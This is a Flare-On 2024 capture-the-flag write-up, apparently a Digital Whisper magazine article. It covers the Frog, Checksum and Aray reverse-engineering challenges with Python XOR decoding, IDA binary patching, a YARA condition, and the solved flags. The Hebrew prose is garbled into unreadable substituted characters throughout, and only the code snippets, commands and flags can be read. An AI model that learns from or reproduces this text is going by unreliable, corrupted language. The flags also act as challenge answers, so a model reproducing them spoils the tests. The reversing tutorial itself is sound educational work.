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˸ˣˮˣ˶˸˲ ˧˶ˠ˸˞ Flare-On 2024 

˸˞ˬ ˪˞˧ˮˡ ˟ˣ˵˯˧˞ 

 

ˢˬˡ˵ˢ 

˶˥˞˪ ˢ˥˪˴ˢˢ ˧˪˷ ˧˶ˠ˸˞˟ Flare-On ˧ˮ˲˪ ˫˧˧˸ˮ˷ Σ˧˸˟˸˩ ˫ˢ˪ ˸ˣˮˣ˶˸˲ Φ˨˞ ˫˞ ˣˬ˧˷˸ ˟˪ Σˢˮ˷˟ 

ˢ˶˟˰˷ Σ˸˞ ˸ˣˮˣ˶˸˲ˢ ˟˸˩ ˧˪˞ Σ˧˶˟˥ ˢ˴ˣ˟˵˪ Φˢˤ ˞˪ ˞˪˷ ˧˸˧˴˶ ˟ˣ˸˩˪ ˸ˣˮˣ˶˸˲ Σ˧˸˧˴˶ ˡˣ˞ˬ Σ˨˞ 

ˢ˟˶ˬ˪ ˶˰˴ˢ ˞˪ ˧˸˥˪˴ˢ ˶ˣ˸˲˪ ˫˸ˣ˞ Φˣ˪˧˲˞ ˧˸˷ˡ˵ˢ ˶ˬ˞ˬ ˧˦˶ˣ˞˧˸ ˦˶ˣ˲ˬ ˸ˣ˟˧˯˪ Σ˸ˣˮ˵˯ˬ˪ ˢ˷˧ˠ˪ˣ 

˧˪˷ Φˢˮ˷ˢ ˧˶˥˞ ˳ˬ˞ˬ ˶˧˟˩ ˢ˟˶ˢˣ ˧˰ˠ˶ ˢ˶˧˟˷ ˨˶ˡ˟ Σ˧˸˥˪˴ˢ ˶ˣ˸˲˪ ˸˞ ˫˧˶ˠ˸˞ˢ ˢ˪˞ˢ ˢˤˣ ˞˪ ˭˟ˣˬ 

ˣ˧˪˞ˬ ˧˶ˣ˟˰ ˭˩˪ˣ ˧ˮ˞ ˥ˬ˷ ˡˣ˞ˬ ˟ˣ˸˩˪ ˸˞ ˸ˣˮˣ˶˸˲ˢ ˢˮ˷ˢΗ 

˫˧˶ˠ˸˞ˢ ˣ˧ˢ ˫˧ˮˣ˷ ˫˧ˮˣˣˠˬˣ ˫ˢ˧ˮ˧˟ˣ Υ˶ˠ˸˞ ˠˮ˧˯˶˟˶ ˟πGo Σ˶ˠ˸˞ ˠˮ˧˯˶˟˶ ˪˷ Yara rules Σ˶ˠ˸˞ js Σ˶ˠ˸˞ 

bios ˫˰ ˢˮˠˢ ˸˯˯ˣ˟ˬ ˶ˣ˦˪ˣˬ˧˞ ύˢ˰ˣˡ˧ ˶ˣ˟˧˴˟ Σ˭˲ˣ˞˟ ˧ˣˠ˷ Σˢˮˠˢ˩ ˸˯˯ˣ˟ˬ ˢˮˣ˩ˬ ˸˧˪˞ˣ˦˶˧ˣ Σό˶ˠ˸˞ 

ˠˮ˧˯˶˟˶ ˪˪˩˷ ˢ˷˪ˣ˥ ˷ˣˬ˧ˬ˟ ˧˲˶ˠˣ˦˲˧˶˵ ˪˷ ˸ˣˬˣ˵˰ ˸ˣ˧˦˲˧˪˞ Σ˶ˠ˸˞ ˯˵ˣˮ˧˪ ˡˣ˰ˣΦ 

 
 

ˣ˰˧˲ˣˢ˷ ˫˧˶ˠ˸˞ˢ ˳˟˵ˬ ˸˞  ˡ˧˶ˣˢ˪ ˣ˪˩ˣ˸ ,˸ˣ˶˥˸˟˭˞˩ˬ .ˣˬ˩ ˡ˧ˬ˸ Σ˸ˣˮˣ˶˸˲ˢ ˣ˥˧ˮ˧ ˰ˡ˧ ˫ˡˣ˵ Φ

˫˧˶ˠ˸˞ˢ ˣ˧ˢ ˸ˬ˶˟ ˸ˣ˟˩˶ˣˬ ˣˤ˩ ˫˞˷ ˪˧˥˸˞ ˶˧˟˯ˢ˪ ˵ˬˣ˰˪ ˪˩ ˦˶˲ ˦˶˲ˣ ˞˪ ˫˧˧˯˞ ˟ˣ˸˩˪ ˸˞ 

˸ˣˮˣ˶˸˲ˢ ˭ˬˤ˟ ˶˧˟˯ Φ˭˩˪ ˳˧˪ˬˬ ˫˩˪ ˟ˣ˵˰˪ ˥˞˧˶ ˸ˣˮˣ˶˸˲ˢ ˨ˣ˸ ˧ˡ˩ ˫˸˞˷ ˫˧˯ˮ˸ˬ ˫˧˶ˠ˸˞˟ ˫˩ˬ˴˰˟Φ 

˧ˮ˞ ˫ˠ ˡˡˣ˰ˬ ˫˩˸˞ ˸ˣ˯ˮ˪ ˭˧˟ˢ˪ ˵ˬˣ˰˪ ˸˞ ˭ˣ˶˵˧˰ˢ ˪˷ ˸ˣˮˣ˶˸˲ˢ Φ˷ˣˬ˧ˬˢ ˧ˮ˩˦ˢ ˫ˠ ˫˞ ˞ˣˢ ˟˩˶ˣˬ 

˶˸ˣ˧˟ Σ˞ˣˢ ˧ˮ˷ˬ ˢ˟˶ˢˣ ˸ˣ˥˲ ˟ˣ˷˥ Σ˸ˣ˥˲˪ ˸ˣ˧ˮ˰˪ ˧˸˰ˡΦ 

https://www.digitalwhisper.co.il/files/Zines/0x91/DW145-1-FLARE-ON_2022.pdf
https://www.digitalwhisper.co.il/files/Zines/0x9D/DW157-1-Fl4reOn2023.pdf
https://www.digitalwhisper.co.il/files/Zines/0xA0/DW160-2-CTF-FailToRise.pdf
https://flare-on.com/files/Flare-On11_Challenges.zip
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˶ˠ˸˞ˢ ˭ˣ˷˞˶ˢ π Frog 

˶ˠ˸˞ˢ ˭ˣ˷˞˶ˢ ˞ˣˢ ˡ˧ˬ˸ ˠˣ˯ ˪˷ Human Captcha π ˸˞˶ˠ ˪˵ ˡ˥ˣ˧ˬ˟ ˵˶˷ ˞˟ ˵ˣˡ˟˪ ˶˟ˣˡˬ˷ ˫ˡ˞˟ 

˧˸˧ˬ˞ ˸ˬ˞˟˷ ˢ˯ˮˬ ˶ˣ˸˲˪ ˸˞ ˫˧˶ˠ˸˞ˢ Σ˸˞ˤ ˪˩˩ ˢ˞˶ˮˢ ˨˶ˡˢ ˪˷ ˧ˮˠ˶˞ˬ ˸ˣ˶˥˸ˢ ˭ˮ˯˪ ˫˧˷ˮ˞ ˞˪˷ 

˸ˬ˞˟ ˣ˴ˬ˞˸ˢ ˶ˣ˸˲˪ Φ˪˰ ˢ˞˶ˮ˩ ˸ˮˬ ˶ˣ˴˧˪ ˸ˣ˵˧˦˯˧˦˦˯ ˸ˣ˪˰˟ ˸ˣ˰ˬ˷ˬ ˶˥˞˪ ˸ˣ˶˥˸ˢΦ 

˶ˠ˸˞˟ ˪˟˵ˮ ˸˞ ˶ˣ˞˧˸ˢ ˞˟ˢ ˳˟ˣ˵ˣ 7z ˶˷˲˞˷ ˥ˣ˸˲˪ ˫˰ ˢˬ˯˧˯ˢ flare π ˞˧ˢ˷ ˫ˠ ˢˬ˯˧˯ˢ ˪˩˪ ˳˟ˣ˵ 

7z ˪˟˵ˮ˷ ˸˪˧˥˸˟ ˪˩ ˶ˠ˸˞: 

 

˭˟ˣˬ ˶˟ˣˡˬ˷ ˵˥˷ˬ˟ ˟ˣ˸˩˷ ˭ˣ˸˧˧˲˟ Σ˪˩˸˯ˮ ˪˰ ˫˧˴˟˵ˢ Σ˫ˢ ˫˧˞˶ˮ ˨˩Υ 
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˥˸˲ˮ ˸˞ ˳˟ˣ˵ˢ frog.py ˪˧˥˸ˮˣ ˷˲˥˪ ˡˣ˵ ˭˧˧ˮ˰ˬ Σˡ˧ˬ ˞˴ˬˮ ˸˞ ˢ˪ˣ˰˲ˢ ˢ˞˟ˢΥ 

def GenerateFlagText ( x, y):  
    key = x + y* 20 
    encoded = 
" \ xa5\ xb7\ xbe\ xb1\ xbd\ xbf \ xb7\ x8d\ xa6\ xbd\ x8d\ xe3\ xe3\ x92\ xb4\ xbe\ xb3\ xa0\ xb7\ xff \ xbd\ x
bc\ xfc \ xb1\ xbd\ xbf "  
    return '' .join([ chr ( ord (c) ^ key) for c in encoded])  

˞˧˴ˣˮ ˸˞ ˢ˧˴˵ˮˣ˲ˢ ˸˞ˤˢ ˳˟ˣ˵˪ ˡ˶˲ˮ Σ˵˶ ˨˧˶˴ ˞ˣ˴ˬ˪ ˫˰ ˢˤ˧˞ ˫˧˩˶˰ ˢ˪ˣ˰˲ˢ ˸˞ˤˢ ˸˞˶˵ˮ Σ˷˲˥ˮ 

˞˴ˬˮˣ ˸˞ ˰˦˵ ˡˣ˵ˢ ˢˤˢΥ 

if player.x == victory_tile.x and player.y == victory_tile.y:  
   victory_mode = True  
   flag_text = GenerateFlagText(player.x, player.y)  
   flag_text_surface = flagfont.render(flag_text, False , pygame.Color( 'black' ))  
   print ( "%s" % flag_ text)  

˭˞˩ˬ ˷˲˥ˮ ˸˞ victory_tile ˞˴ˬˮˣ ˸˞ ˢ˶ˣ˷ˢ ˢ˞˟ˢΥ 

victory_tile = pygame.Vector2( 10, 10)  

˶˞˷ˮ ˣˮ˪ ˵˶ ˞˧˴ˣˢ˪ ˸˞ ˢˤ ˳˟ˣ˵˪ ˡ˶˲ˮˢ ˣˮ˪˷ ˳˧˶ˢ˪ˣ Σˡˣ˵ˢ ˣˮ˪˷ ˢ˞˶˧ ˨˩Υ 

x,y = ( 10, 10)  
def GenerateFlagText ( x, y):  
    key = x + y* 20 
    encoded = 
" \ xa5\ xb7\ xbe\ xb1\ xbd\ xbf \ xb7\ x8d\ xa6\ xbd\ x8d\ xe3\ xe3\ x92\ xb4\ xbe\ xb3\ xa0\ xb7\ x
ff \ xbd\ xbc\ xfc \ xb1\ xbd\ xbf "  
    return '' .join([ chr ( ord (c) ^ key) for c in encoded])  
print (GenerateFlagText(x,y))  

˶˞˷ˮ ˵˶ ˳˧˶ˢ˪ ˪˟˵˪ˣ ˸˞ ˪ˠˡˢΥ 

welcome_to_11@flare-on.com 
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˶ˠ˸˞ˢ ˧ˮ˷ˢ π Checksum 

˶ˠ˸˞˟ ˪˟˵ˮ ˳˟ˣ˵ ˢ˴˶ˢ ˠˣ˯ˬ PE ˫˷˟ checksum Φ˳˧˶ˮ ˣ˸ˣ˞ ˞ˣˢˣ ˪˞˷˧ ˣˮ˸ˣ˞ ˶˲˯ˬ ˸ˣ˪˞˷ ˭ˣ˟˷˥ 

˸ˣ˦ˣ˷˲ Φˢ˥ˮˢ˟ ˣˮ˧ˮ˰˷ ˭ˣ˩ˮ ˪˰ ˪˩ ˸ˣ˪˞˷ˢ Σ˯˲ˡˣ˧ ˦˪˲ˢ ϦChecksum: Ϧˣ˧˶˥˞˪˷ ˧˶˞ˮ˧˟ˢ ˪˟˵˧ ˣˮ˸˧˞ˬ 

˦˪˵ Φ˭ˣˣ˧˩ ˣˮˮ˧˞˷ ˫˧˰ˡˣ˧ ˣˢˬ ˦˪˵ˢ ˭ˣ˩ˮˢ Σ˵˲˯ˮ ˦˪˵ ˧˸ˣ˶˧˶˷ ˪˟˵ˮˣ ˢ˰ˡˣˢ ˭ˣ˪˷˧˩ ˬ˷˸ˡˡˣ˰ ˣˮ˸ˣ˞ ˥˸ˮ˪ 

˸˞ ˧˶˞ˮ˧˟ˢΦ 

ˢ˴˶ˢˢ ˸˧ˮˣ˷˞˶ˢ ˸˧˞˶ˮ ˨˩Υ 

 

ˡ˰˴ˢ ˷˵˟˸ˬˢ ˞˟ˢ ˞ˣˢ ˥ˣ˸˲˪ ˸˞ ˧˶˞ˮ˧˟ˢ ˟πIDA ύx˞ ˪˩˟ ˶˪˧˧˲ˬˣ˵˧ˡκ˶˪˟ˬ˯˞˯˧ˡ ˶˥˞ ό˥˸ˮ˪ˣ ˣ˸ˣ˞ Φ

˧˲˩ ˧˶˞ˮ˧˟ˢ˷ ˣˬ˴˰ ˡˡˣ˰ˬ ˣˮ˸ˣ˞ ˸ˣ˷˰˪ Φ˥˸˲ˮ ˸˞ ˧˶˞ˮ˧˟ˢ ˟πIDA ˢ˯ˮˮˣ ˸ˣ˵˥˸ˢ˪ ˧˶˥˞ ˦˪˵ˢ ˣˮ˪˷Φ 

ˢ˞˶ˮ ˧˶˞ˮ˧˟ˢ˷ ˟˸˩ˮ ˟πGo Φ˞˴ˬˮˣ ˸˞ ˸ˤˣ˶˥ˬˢ ˢˮˣ˶˥˞ˢ ˸˯˲ˣˡˬ˷ ˣˮ˪ ˢ˪ˣ˰˲˟ ˸˧˞˶˵ˮˢ main_main Υ 
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˶˷˲˞ ˫ˠ ˥˧ˮˢ˪ ˢ˪ˣ˰˲ˢ˷ main_b ˞˧ˢ ˦ˣ˷˲ ˸˪ˣ˰˲ ˢ˯˲ˡˢ Φ˧ˡ˥ ˭˧˰ˢ ˫˩˧ˮ˧˟ˬ ˣˮ˧˥˟˧ ˡˣ˰˟ ˫˧˶˟ˡ 

˫˧ˮ˧˧ˮ˰ˬ ˪˷ˬ˪ ˰ˣ˟˵˟ main_EncryptedFlagData x˞ ˸˪ˣ˰˲˟ ˢˮ˲˴ˢˢ ˢ˰˧˲ˣˬˢ ˢˮˣˬ˸˟ Φ˪˟˞ ˧ˮ˞ ˢ˴ˣ˶ 

˶ˣˤ˥˪ ˢ˶ˣ˥˞ ˱˧ˡ˰ˣ ˟πgraph view ˧ˡ˩ ˪˟˵˪ ˦˟ˬπ˪˰ ˟ˣ˦ ˶˸ˣ˧ ˪˰ sπflow ˪˷ ˧˶˞ˮ˧˟ˢ ˢˤˢ Φ˭˩˪ˣ ˶ˣˤ˥ˮ 

˸˪˧˥˸˪ ˢ˪ˣ˰˲ˢ main_mainΥ 

 

ϐ˫˞ ˢˮˣˬ˸ˢ ˸˧˞˶ˮ ˫˩˪ ˶ˤˣˬ ˢˤ ˧˩ ˧˸ˤˤˢ ˸˞ ˫˧˲˶ˠˢ ˦˰ˬ ˢ˪˰ˬ˪ ˪˰ ˸ˮˬ ˪˩ˢ˷ ˯ˮ˩˧ ˢˮˣˬ˸˟ώΦΦΦ 

 

˪˩ˣˮ ˭˧˥˟ˢ˪ ˡˣ˵˟ ˠˬ˷ϥ˦˶ˮ ˸˞ ˫˧˶˲˯ˬˢ ˫˧˪ˬˣˡˮ˶ˢ ˸ˣ˪˞˷ˢˣ π ˰˸˯ˢ˟˸ˣ˲ ˭˧ˬ˧ˬ Φ˶˥˞˪ ˱˯ ˫˧ˣ˯ˬ 

ˣˮ˥ˮ˞ ˫˧˶˟ˣ˰ ˦˪˵˪ ˸ˬ˞˟˷ ˭˧˧ˮ˰ˬ π ˸ˣ˲˰˸˯ˢ˟ ˪˞ˬ˷ˬ Φ˧˶˥˞ ˸˴˵ ˠˮ˧ˠ˞˟˧ˡ Σ˧˸˦˪˥ˢ ˸ˣ˷˰˪ patching 

˧˶˞ˮ˧˟˪ ˨˩ ˞˪˷ ˪˞˷˧ ˧˸ˣ˞ ˸˞ ˪˩ ˸ˣ˪˞˷ ˭ˣ˟˷˥ˢ ˢ˪˥˸ˢ˟ ˞˪˞ ˰˧ˠ˧ ˡ˧ˬ ˦˪˵˪ ˟ˣ˷˥ˢ Φ 

˧ˮ˞ ˞˪ ˸ˬ˞˟ ˰ˡˣ˧ ˭˧˞˷ ˸ˣ˪˞˷˪ ˢ˪˥˸ˢ˟ ˢ˰˲˷ˢ Σ˪˟˞ ˸˞ˤ ˸˷ˣ˥˸ ˭˦˟ˢ ˪˷ ˧˧˲˪ ˢˬ ˧ˮ˞˷ ˢ˞ˣ˶ Φ˫˷˪ 

˨˩ ˢˮ˷˞ ˸˞ jge ˟πjmp Φ˧˸˧˷˰ ˸˞ˤ ˪˰ ˧ˡ˧ ˢ˴˧˥˪ ˪˰: 

 Edit -> Patch Program -> Assemble 

ˤ˞ˣ ˧ˣˮ˧˷ ˢˡˣ˵˲ˢ ˭ˣ˪˥˟ ˥˸˲ˮ˷ Φ˨˞ ˶˷˲˞ ˸ˣ˷˰˪ ˸˞ˤ ˡˣ˰˟ ˫˧˩˶ˡ ˧ˮ˞˷ ˞˪ ˢ˞ˣ˶ ˨˶ˣ˴ ˦˶˲˪ ˭˞˩ Φ˫˞ 

˫˸˞ ˫˧ˮ˷ˬ ˨˶ˡ IDA ˪˞ ˣ˥˩˷˸ ˫ˠ ˸ˣ˷˰˪Υ 

Edit -> Patch Program -> Apply patches to input file  

˸˞ˤˣ ˪˰ ˸ˮˬ ˪˧˥ˢ˪ ˸˞ ˫˧˧ˣˮ˧˷ˢΦ 

˩ ,˸˰˩˷˧˷ ˣˮ˪ ˸˞ ˧˶˞ˮ˧˟ˢ ˧˪˟ ˪˩ ˸ˣ˪˞˷ ˭ˣ˟˷˥ˢ ˸ˣˮ˟˴˰ˬˢ Σˢˤ ˭ˬˤ ˟ˣ˦ ˠ˟ˡ˪ Φ 

˫˧˷ˮ breakpoint ˱ˣ˯˟ ˵ˣ˪˟ˢ ˧˪˞ˬ˷ˢ ˭ˣ˸˥˸ˢ ύˢˮˣˬ˸˟ ˞˟ˢ ˡˣˬ˰˟ όˢ˯ˮˮˣ ˟ˣ˵˰˪ ˫˰ ˣ˸ˣ˞ ˦˪˵ˢ 

˪˷ˣ˩ˢ ˡ˰ ˸˰ˡˣˢ ˢ˞˧ˠ˷ˢ Φ 



 
 

  Flare-On 2024 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 168, ˶˟ˬ˴ˡ нлнп  с 
 

˵˪˥˟ ˢˤˢ ˞˧ˮ ˟˷ˣ˥ ˟˦ˣˬ˷ ˟ˣ˵˰˪ ˫ˠ ˸˶ˤ˰˟ ˱˶ˠˢ ˫ˠˣ ˸˶ˤ˰˟ ˢ˧˴˪˧˲ˬˣ˵˧ˡˢΥ 

 

˭˧˥˟ˮ ˣˮ˥ˮ˞˷ ˰˦˵˟ ˡˣ˵ˢ ˢˤˢ Σопv ˞ˣˢ ˦˪˵ˢ ˣˮ˪˷ ˣ˸ ˶˥˞ ˣ˸ ˨˞ ˶˥˞˪ ˶˟˰˷ ˥ˣˮ˰˧˲ ˩πhex Φ˸˞ˤ 

˸˶ˬˣ˞ ˢ˶˵ˬ˟ ˧˪˷ ˧˸˯ˮ˩ˢ ABCD ˤ˞ ˣ˸ˢ ˭ˣ˷˞˶ˢ ˞ˣˢ 0xAB ˣ˸ˢˣ ˧ˮ˷ˢ ˞ˣˢ 0xCD Φˢˤ ˫ˠ ˢˬ ˪˧˩ˬ˷ 

ˢˮ˸˷ˬˢ key Φˢˮ˸˷ˬˢ оуv ˞ˣˢ ˨˶ˣ˞ˢ ˪˷ ˸ˤˣ˶˥ˬˢ ˧˶˥˞ ˥ˣˮ˰˧˲ˢ Σ˸˞ˤ ˸˶ˬˣ˞ ˣˮ˥ˮ˞ ˫˧˷˲˥ˬ 

˸ˤˣ˶˥ˬ ˯˵ˢ ˨˶ˣ˞˟ сп ˫˧ˣˣ˸ Φ˭˧ˤˮ ˸ˤˣ˶˥ˬ ˯˵ˢ ˨˶ˣ˞˟ сп ˫˧ˣˣ˸ Φ˨˶ˣ˴˪ ˭˧˧ˮ˰ˢ ˭˧ˤˮ сп ˫˧ˣˣ˸ ˪˷ ˸ˣ˞ˢ A 

ˠ˟ˡˮˣ ˟ˣ˷ Φ 

˦˪˵ˢ ˷ˡ˥ˢ ˣˮ˪˷ ˶˟˰ ˸˞ ˫˧˞ˮ˸ˢ ˢ˪˞ˢ ˪˟˞ ˢ˞˶ˮ ˢˤ˷ ˦ˣ˷˲ ˵˧˯˲ˢ ˠ˟ˡ˪ ˟-main_b ˧ˮ˷ˢ ˰˧˲ˣˬˢ 

ˢˮˣˬ˸˟ ύ˟ˣˢ˴˟ Φό˧˪ˣ˞ ˢˤ ˞˪ ˵˶ ˢ˯˲ˡˢ ˧˶˥˞ ˪˩ˢΦ ˢ˪ˣ˰˲ˢ main_b ˸˧˞˶ˮ ˨˩Υ 
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˫˞ ˪˩˸˯ˮ ˟ˣ˦ ˭˧˥˟ˮ ˪˩˩˷ ˢ˞˶ˮˢ ˦˪˵ˢ ˣˮˤˢ˷ ˷ˬ˷ˬ ˥˸˲ˬ˩ ˶ˣˬ˞˷ ˥ˮ˰˲˪ ˸˞ ˪ˠˡˢ ˢˤ˷ˣ ˪˷˩ˮ ˪˪ˠ˟ 

˦˪˵ˢ˷ ˧ˣˮ˪˷ ˧ˣˠ˷ ˢ˴˧˶ˢˣ ˸ˬ˧˧˸˯ˬ Φˢ˞˶ˮ ˢˤ˷ ˸˧˦˦˯ ˭˞˩ˬ ˢ˞˪ˢˣ Φ˨˧˷ˬˮ ˞ˣ˶˵˪ ˸˞ ˢ˧˴˪˧˲ˬˣ˵˧ˡˢ 

ˢ˯ˮˮˣ ˭˧˥˟ˢ˪ ˫˧˶˟ˡ˟ ˫˧ˮ˧˧ˮ˰ˬ Σ˫˧˷ˮ ˟˪ ˸ˣ˶ˣ˷˪ ˸ˣ˞˟ˢΥ 
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˶˷˲˞ ˸ˣ˞˶˪ ˭˞˩ ˢˬ˩ ˫˧˶˟ˡ ˫˧ˮ˧˧ˮ˰ˬ π ˸˧˷˞˶ Σ˵˪˥ˢ ˭ˣ˧˪˰ˢ ˢ˞˶ˮ ˣˬ˩ ˡˣˡ˧˵ base64 Φ˸˧ˮ˷ Σ˶˷˲˞ 

˸ˣ˞˶˪ ˸˞ˣˣ˷ˢ ˭ˣ˶˩˧ˤ ˢˤ˷ ˡ˧ˬ˸ ˭˧˧ˮ˰ˬ ˸˧˷˧˪˷ˣ Σ˶˷˲˞ ˸ˣ˞˶˪ ˢ˞˧˶˵ ˢ˪ˣ˰˲˪ ˫˷˟ main_a Φ˞˪ ˣˮ˧˞˶ 

˶ˣ˩ˤ˧˞ ˢ˪˷ ˧ˮ˲˪ ˭˩ ˡˣ˵˟ Φˢ˪ˣ˰˲ˢ ˸˞ˤˢ ˸˧˞˶ˮ ˨˩Υ 

 

ύ˷˧ ˨˷ˬˢ ˸ˤˣ˶˥ˬ˪ ˢ˩ˣ˶˞ˢ ˧˸˩˸˥˷ ˪˟˞ ˢˤ ˞˪ ˟ˣ˷˥ Φό˸˦˪ˣ˟ ˭˞˩ ˡˣ˞ˬ ˸ˤˣ˶˥ˬˢ FlareOn2024bad 

˫ˠˣ ˸˪ˣ˰˲ ˶ˣ˯˵ˢ Σ˱˯ˣˮ˟ ˨˩˪ ˨˶ˣ˞ˢ мм ˶˩ˤˣˬ ˭˞˩ ˫˧˧ˬ˰˲ ύ0xb=11 Φό˧˞ ˶˷˲˞ ˫˪˰˸ˢ˪ ˭˟ˣˬ˩ ˸ˤˣ˶˥ˬˬ 

πsbase64 ˸˧˵ˮ˰ˢ ˢ˦ˬ˪ Φ˧˶˥˞ ˸˴˵ ˢ˟˷˥ˬ Σ˧˸˧ˢ˸ ˧ˬ˴˰˪ Σˢˬ ˫˞ ˥ˮ˰˲ˮ ˸˞ sπbase64 ˢ˷˰ˮˣ x˪ xor 

˫˰ FlareOn2024 ύˢˤ˷ ˵ˣ˧ˡ˟ мм ˫˧ˣˣ˸ ˸˪˧˥˸ˬ ˸ˤˣ˶˥ˬˢ ˸˧˵ˮ˰ˢ Φό 
 

˶˶˟˸ˬ ˪˟˵ˮ˷ ˸˞ ˸ˤˣ˶˥ˬˢ ˢ˞˟ˢΥ 

7fd7dd1d0e959f74c133c13abb740b9faa61ab06bd0ecd177645e93b1e3825dd  
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˱ˣ˶˧˴ ˫˧˶˵ˬ Κ˞˪ ˢ˞˶ˮ ˧˪ Σˢ˞˶ˮ˩ ˢˤ ˦˪˵ˢ ˣˮ˥ˮ˞˷ ˫˧˩˧˶˴ ˭˧ˤˢ˪ ˧˶˞ˮ˧˟˪ Σˢˤ ˧ˡ˟˵ˣ ˪ˡˣˠ˟ сп ˧ˣˣ˸ ˯˵ˢ Φ

˭˧ˤˮ ˠ˟ˡˮˣ ˶ˣ˟˰ˮˣ ˸˞ ˰˦˵ˢ ˣˮ˰˵˸ˮ˷ x˟ Σˢ˷˰ˬ˪ ˰˧ˠˮ ˰˦˵˪ ˢˮˣˬ˸˟ ˪˧˰˪ Φ˫˧ˢˡˬ Φ˦˟ˬ ˪˵ ˪˰ 

ˠ˶ˢϥ˫˧˶˦˯˧ ˢ˪ˠ˧ ˣˮ˪ ˸˩˪ˣˢ˷ ˶˴ˣˣ˧ˢ˪ ˢˮˣˬ˸ ˟: 

C:\ Users \ <username>\ AppData\ Local \ REAL_FLAREON_FLAG.JPG 

˭˸˧ˮ ˧˶˞ˮ˧˟˪ ˨˧˷ˬˢ˪ ˳ˣ˶˪ ˞˪˪ ˢ˰˶˲ˢ Σ˷ˠ˧ˮ ˢˮˣˬ˸˪ ˤˢ˸˞ ˪˟˵ˮˣ ˢˮˣˬ˸ ˫˰ ˪ˠˡˢΥ 

Th3_M4tH_Do_b3_mAth1ng@flare-on.com 

 

 

˶ˠ˸˞ˢ ˧˷˧˪˷ˢ π Aray 

 

˶ˠ˸˞˟ ˪˟˵ˮ ˸˞ ˶ˣ˞˧˸ˢ ˪˧˰˪ Φˢˤ ˭ˬˤ ˭˧ˣ˴ˬ ˸ˣˡˣˣ˸ˢ˪ π ˸ˣ˶ˬ˪ ˧˸˰ˬ˷˷ ˪˰ ˠ˷ˣˬˢ Σˡ˰ ˸˧˧˷˰˪ ˶ˠ˸˞ˢ 

˞˪ ˢ˧ˢ ˧˪ ˸ˬ˞˟ ˠ˷ˣˬ ˢˬ ˢˤ Yara ˪˩ˣ ˠ˷ˣˬ ˶˥˞ ˶ˤˠˮˢ ˠ˷ˣˬˬ ˢˤΦ ˪˟˵ˮ ˳˟ˣ˵ ˫˷˟ aray.yara ˣ˩ˣ˸˟ˣ 

˭ˣˬˢ ˫˧˞ˮ˸ ˪˩˩˷ ˢ˞˶ˮˢ ˣ˪˧˟ˣ˧ ˪˞ ˪ˠˡˢ Φ˳˟ˣ˵ˢ ˢ˞˶ˮ ˨˩ ύˢˮˣˬ˸ ˸˧˵˪˥Υό 
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˟ˣ˦ ˤ˞ ˶˥˞˪ ˸ˣˮˣ˧˯˧ˮ ˫˧˪˷ˣ˩ ˫ˣ˶ˠ˪ ˪πGPT ˶ˣ˴˧˪ ˧˪ ˢˤˬ ˫˧˞ˮ˸ ˧ˮ˞˷ ˪˩ˣ˞ ˯˧ˮ˩ˢ˪ ˪πSAT Solver ˣˬ˩ zо Φ

˧˸˦˪˥ˢ ˦ˣ˷˲ ˭˧˟ˢ˪ ˧ˬ˴˰˟ Φ˧˶˥˞ ˫˧˷ˣ˲˧˥ ˫˧˪˵ ˸˷˶˟ ˸˴˵ˣ ˢ˶ˤ˰ ˬπGPT Σ˧˸ˮ˟ˢ Φ˸ˬ˞ˢ Σ˸ˢ˫˧˞ˮ ˫ˢ 

˧ˡ ˫˧˶ˣ˶˟ ˫ˢ˧˪˞ˬ Φ˪˷ˬ˪ ˧˞ˮ˸ˢΥ 

uint 8( 58) + 25 == 122 

 

˶ˬˣ˞ ˣ˸ˢ˷ ˯˵ˡˮ˧˞˟ ру ˡˣ˰ˣ нр ˢˣˣ˷ ˪πмнн ύ˶ˣ˶˟ ˶˟ˣˡˬ˷ ˧˩˶˰˟ ˧˵˯˞ Φό˭˞˩ˬ ˭˸˧ˮ ˵˧˯ˢ˪ ˸˞ ˣ˸ˢΦ ˢˬ 

˧˸˧˷˰˷ ˱ˣ˯˟ ˢˤ ˧˸˧˵˧ˮ ˸˞ ˳˟ˣ˵ˢ ˦ˬ˶ˣ˲˪ ˦˰ˬ ˞˧˶˵ ˶˸ˣ˧ ˧˸˪˥˸ˢˣ ˸ˡˣ˟˰˟ ˫˧˪ˬˮΥ 

 



 
 

  Flare-On 2024 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 168, ˶˟ˬ˴ˡ нлнп  мм 
 

˨˩ ˳˟ˣ˵ˢ ˧˪˷ ˢ˞˶ˮ ˧˶˥˞ ˧ˮ˷˧˸˧˵ ˧˸˲˧˧ˣ ˣ˸ˣ˞ ˦˰ˬ Φˣ˧˷˩˰ ˶˷˲˞ ˪˧˥˸ˢ˪ ˸ˡˣ˟˰˟ ˫˧˪ˬˮˢΦ ˧˸˷˲˧˥ ˸˞ 

˸ˤˣ˶˥ˬˢ: 

uint 8( 0 

˧˸˞˴ˬˣ ˫˧˞ˮ˸ ˫˧˪˧˟ˠˬ˷ ˸˞ ˥ˣˣ˦ˢ ˪˷ ˯˵ˡˮ˧˞ˢ ˨˞ ˞˪ ˢ˪˞˩ ˶˷˲˞˷ ˵˧˯ˢ˪ ˫ˢˬ ˡ˧ˬ ˸˞ ˯˵ˡˮ˧˞ˢ Φ 

˶˥˞˪ ˦˟ˬ ˱˯ˣˮ ˧˸˧˞˶ ˷˧˷ ˡˣ˰ ˧ˠˣ˯ ˫˧˞ˮ˸ ˣˬ˩ uint32 ύ˦ˣ˷˲˷ ˫˧ˡ˟ˣ˰ ˪˰ ˢ˰˟˶˞ ˫˧ˣˣ˸ ˫ˣ˵ˬ˟ ˡ˥˞ όˣ˞ 

hash ˫˧˥˵ˣ˪˷ ˯˵ˡˮ˧˞ ˸ˣˬ˩ˣ Φ˱ˣ˯˟ ˧˸ˮ˥˟ˢ ˧˞ˮ˸˟ sˢˤΥ 

hash.md5( 0, 2) == "89484b14b36a8d5329426a3d944d2983"  

˧˲˪ ˧˸ˮ˟ˢ, ˧˞ˮ˸ˢ ˢˤˢ ˦ˣ˷˲ ˵ˡˣ˟ ˸˞ sπmd5 hash ˪˷ ˧ˮ˷ ˫˧ˣˣ˸ˢ ˫˧ˮˣ˷˞˶ˢ ˪˞ ˪ˣˬ ˰ˣ˟˵ Φ˭˞˩ˬ 

˶˷˲˞˷ ˸ˣ˪˵˟ ˞ˣ˴ˬ˪ ˸˞ ˫˧ˣˣ˸ˢ ˪˰ ˧ˡ˧ ˯˶ˣ˲˦ˣ˶˟ Φ˧˸˸ˮ ˪πGPT ˟ˣ˸˩˪ ˧˪ ˦˲˧˶˵˯Υ 

import hashlib  
